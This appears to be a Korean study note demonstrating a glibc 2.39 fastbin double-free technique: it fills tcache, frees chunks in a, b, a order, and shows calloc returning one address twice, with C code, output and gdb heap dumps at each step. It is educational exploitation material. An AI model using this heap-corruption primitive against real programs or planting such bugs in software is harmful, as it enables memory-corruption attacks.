환경
Ubuntu GLIBC 2.39-0ubuntu8.4 / Ubuntu 24.04.1 LTS x86_64
요약
fastbin 범위로 할당하여 tcache를 7번 fill해야, 다음번에 할당시 fastbin으로 넘어감.
fastbin 한번 할당하고(여기까지 8번 할당함)
그 이전 tcache 할당주소는 free해서 정리한다. (1~7번쨰 할당주소 정리)
이제 fastbin 범위로 3번 할당하고, 1, 2, 1번째 할당된 메모리를 차례로 free하고나서,
fastbin 범위로 다시 3번 할당할때 1, 3번째에서 같은 주소를 가리키게할 수 있음 ㅇㅇ
fastbin은 청크 크기(메타데이터 포함)가 16바이트 이상 128바이트 이하인 할당 요청시 처리함.
malloc(8)으로 시연함.
내용
tcache는 24~1,032바이트(메타데이터 포함) 크기의 청크를 16바이트 간격으로 64개 bin,
각 bin당 7개씩 보관하는 스레드 로컬 캐시. malloc(8)
은 24바이트 청크로,
tcache 최소 크기에 딱 맞춰 저장됨.
각 tache bin은 최대 7개의 청크만 보관하며, 초과된 청크는 fastbin으로 넘겨지는데,
fastbin은 청크 크기(메타데이터 포함)가 16바이트 이상 128바이트 이하인 할당 요청시 처리됨.
위 특이점을 참고하고,
다음은 fastbin을 활용한 더블-어택 시연 코드이다..
1.
fastbin으로 할당하기 위헤 7개 tcache bin을 채움. 8번쨰부터는 fastbin으로 할당받으며, 나머지 tcache bin들을 free시킴.
이후, 8크기만큼 a, b, c 청크에 각각 힙을 3번 할당함.
setbuf(stdout, NULL); printf("This file demonstrates a simple double-free attack with fastbins.\n"); printf("Fill up tcache first.\n"); void *ptrs[8]; for (int i=0; i<8; i++) { ptrs[i] = malloc(8); } for (int i=0; i<7; i++) { free(ptrs[i]); } printf("Allocating 3 buffers.\n"); int *a = calloc(1, 8); int *b = calloc(1, 8); int *c = calloc(1, 8); printf("1st calloc(1, 8): %p\n", a); printf("2nd calloc(1, 8): %p\n", b); printf("3rd calloc(1, 8): %p\n", c);
결과:
This file demonstrates a simple double-free attack with fastbins. Fill up tcache first. Allocating 3 buffers. 1st calloc(1, 8): 0x5555555593a0 2nd calloc(1, 8): 0x5555555593c0 3rd calloc(1, 8): 0x5555555593e0
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x20 Freed 0x555555559 None 0x5555555592b0 0x0 0x20 Freed 0x55500000c7f9 None 0x5555555592d0 0x0 0x20 Freed 0x55500000c799 None 0x5555555592f0 0x0 0x20 Freed 0x55500000c7b9 None 0x555555559310 0x0 0x20 Freed 0x55500000c659 None 0x555555559330 0x0 0x20 Freed 0x55500000c679 None 0x555555559350 0x0 0x20 Freed 0x55500000c619 None 0x555555559370 0x0 0x20 Used None None 0x555555559390 0x0 0x20 Used None None 0x5555555593b0 0x0 0x20 Used None None 0x5555555593d0 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555593f0 (size : 0x20c10) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

2.
a 청크를 free 시킴.
a 청크에 safe-link 적용된 fd값이 저장됨 ㅇㅇ
fd(orig) = 0
코드:
printf("Freeing the first one...\n"); free(a);
결과:
Freeing the first one...
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x20 Freed 0x555555559 None 0x5555555592b0 0x0 0x20 Freed 0x55500000c7f9 None 0x5555555592d0 0x0 0x20 Freed 0x55500000c799 None 0x5555555592f0 0x0 0x20 Freed 0x55500000c7b9 None 0x555555559310 0x0 0x20 Freed 0x55500000c659 None 0x555555559330 0x0 0x20 Freed 0x55500000c679 None 0x555555559350 0x0 0x20 Freed 0x55500000c619 None 0x555555559370 0x0 0x20 Used None None 0x555555559390 0x0 0x20 Freed 0x555555559 None 0x5555555593b0 0x0 0x20 Used None None 0x5555555593d0 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x555555559390 --> 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555593f0 (size : 0x20c10) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

3.
만약 한번더 a 청크 추소인 0x5555555593a0을 free하게 되면 충돌 발생함.
왜냐면, free list의 top에 해당되기 떄문이다.
대신에 이번에는 b 청크를 free함.
fd(orig) = 0x555555559390
코드:
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); // free(a); printf("So, instead, we'll free %p.\n", b); free(b);
결과:
If we free 0x5555555593a0 again, things will crash because 0x5555555593a0 is at the top of the free list. So, instead, we'll free 0x5555555593c0.
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x20 Freed 0x555555559 None 0x5555555592b0 0x0 0x20 Freed 0x55500000c7f9 None 0x5555555592d0 0x0 0x20 Freed 0x55500000c799 None 0x5555555592f0 0x0 0x20 Freed 0x55500000c7b9 None 0x555555559310 0x0 0x20 Freed 0x55500000c659 None 0x555555559330 0x0 0x20 Freed 0x55500000c679 None 0x555555559350 0x0 0x20 Freed 0x55500000c619 None 0x555555559370 0x0 0x20 Used None None 0x555555559390 0x0 0x20 Freed 0x555555559 None 0x5555555593b0 0x0 0x20 Freed 0x55500000c6c9 None 0x5555555593d0 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x5555555593b0 --> 0x555555559390 --> 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555593f0 (size : 0x20c10) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

4.
free list의 head가 아니기 때문에, 이제 a 청크를 한번더 free 할 수 있어 해본다.
그러면, a청크의 fd(orig)는 0x5555555593b0인 b청크를 가리킨다.
이제 freelist에는 a, b, a 청크 주소가 들어있어서, 3번 malloc을 하면은
a청크 주소인 0x5555555593a0를 2번 할당받을 수 있다.
코드:
printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
결과:
Now, we can free 0x5555555593a0 again, since it's not the head of the free list. Now the free list has [ 0x5555555593a0, 0x5555555593c0, 0x5555555593a0 ]. If we malloc 3 times, we'll get 0x5555555593a0 twice!
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x20 Freed 0x555555559 None 0x5555555592b0 0x0 0x20 Freed 0x55500000c7f9 None 0x5555555592d0 0x0 0x20 Freed 0x55500000c799 None 0x5555555592f0 0x0 0x20 Freed 0x55500000c7b9 None 0x555555559310 0x0 0x20 Freed 0x55500000c659 None 0x555555559330 0x0 0x20 Freed 0x55500000c679 None 0x555555559350 0x0 0x20 Freed 0x55500000c619 None 0x555555559370 0x0 0x20 Used None None 0x555555559390 0x0 0x20 Freed 0x55500000c6e9 None 0x5555555593b0 0x0 0x20 Freed 0x55500000c6c9 None 0x5555555593d0 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x555555559390 --> 0x5555555593b0 --> 0x555555559390 (overlap chunk with 0x555555559390(freed) ) (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555593f0 (size : 0x20c10) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0

5.
1, 3번째 할당받는 주소가 이제 서로 같다.
코드:
a = calloc(1, 8); b = calloc(1, 8); c = calloc(1, 8); printf("1st calloc(1, 8): %p\n", a); printf("2nd calloc(1, 8): %p\n", b); printf("3rd calloc(1, 8): %p\n", c);
결과:
1st calloc(1, 8): 0x5555555593a0 2nd calloc(1, 8): 0x5555555593c0 3rd calloc(1, 8): 0x5555555593a0
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x20 Freed 0x555555559 None 0x5555555592b0 0x0 0x20 Freed 0x55500000c7f9 None 0x5555555592d0 0x0 0x20 Freed 0x55500000c799 None 0x5555555592f0 0x0 0x20 Freed 0x55500000c7b9 None 0x555555559310 0x0 0x20 Freed 0x55500000c659 None 0x555555559330 0x0 0x20 Freed 0x55500000c679 None 0x555555559350 0x0 0x20 Freed 0x55500000c619 None 0x555555559370 0x0 0x20 Used None None 0x555555559390 0x0 0x20 Used None None 0x5555555593b0 0x0 0x20 Used None None 0x5555555593d0 0x0 0x20 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x555555559 (invaild memory) (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555593f0 (size : 0x20c10) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x20) tcache_entry[0](7): 0x555555559360 --> 0x555555559340 --> 0x555555559320 --> 0x555555559300 --> 0x5555555592e0 --> 0x5555555592c0 --> 0x5555555592a0
